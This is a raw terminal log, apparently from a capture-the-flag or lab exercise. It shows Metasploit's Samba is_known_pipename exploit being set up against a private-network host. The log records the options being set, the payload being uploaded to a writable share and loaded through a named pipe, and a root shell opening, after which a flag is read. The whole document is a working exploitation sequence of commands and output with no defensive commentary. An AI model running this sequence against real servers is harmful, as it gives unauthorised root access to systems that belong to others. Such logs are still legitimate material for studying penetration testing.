root@kali:/opt/tools/CVE-2017-3066# msfconsole /usr/share/metasploit-framework/modules/post/windows/mof_ps_persist.rb:38: warning: key "Platform" is duplicated and overwritten on line 48 [!] The following modules were loaded with warnings: [!] /usr/share/metasploit-framework/modules/post/windows/mof_ps_persist.rb [!] Please see /root/.msf4/logs/framework.log for details.
msf5 > use exploit/linux/samba/is_known_pipename [*] No payload configured, defaulting to cmd/unix/interact msf5 exploit(linux/samba/is_known_pipename) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (cmd/unix/interact):
Name Current Setting Required Description ---- --------------- -------- -----------
Exploit target:
Id Name -- ---- 0 Automatic (Interact)
msf5 exploit(linux/samba/is_known_pipename) > set rhosts 192.168.77.211 rhosts => 192.168.77.211 msf5 exploit(linux/samba/is_known_pipename) > set rport 37483 rport => 37483 msf5 exploit(linux/samba/is_known_pipename) > run
[*] 192.168.77.211:37483 - Using location \\192.168.77.211\share\ for the path [*] 192.168.77.211:37483 - Retrieving the remote path of the share 'share' [*] 192.168.77.211:37483 - Share 'share' has server-side path '/tmp/ [*] 192.168.77.211:37483 - Uploaded payload to \\192.168.77.211\share\afvoZDYY.so [*] 192.168.77.211:37483 - Loading the payload from server-side path /tmp/afvoZDYY.so using \\PIPE\/tmp/afvoZDYY.so... [-] 192.168.77.211:37483 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] 192.168.77.211:37483 - Loading the payload from server-side path /tmp/afvoZDYY.so using /tmp/afvoZDYY.so... [+] 192.168.77.211:37483 - Probe response indicates the interactive payload was loaded... [*] Found shell. [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.77.211:37483) at 2021-11-12 01:12:09 -0500 ls flag-{bmhb65f3024-ff71-45ce-9d8d-9adb0676081a} whoami root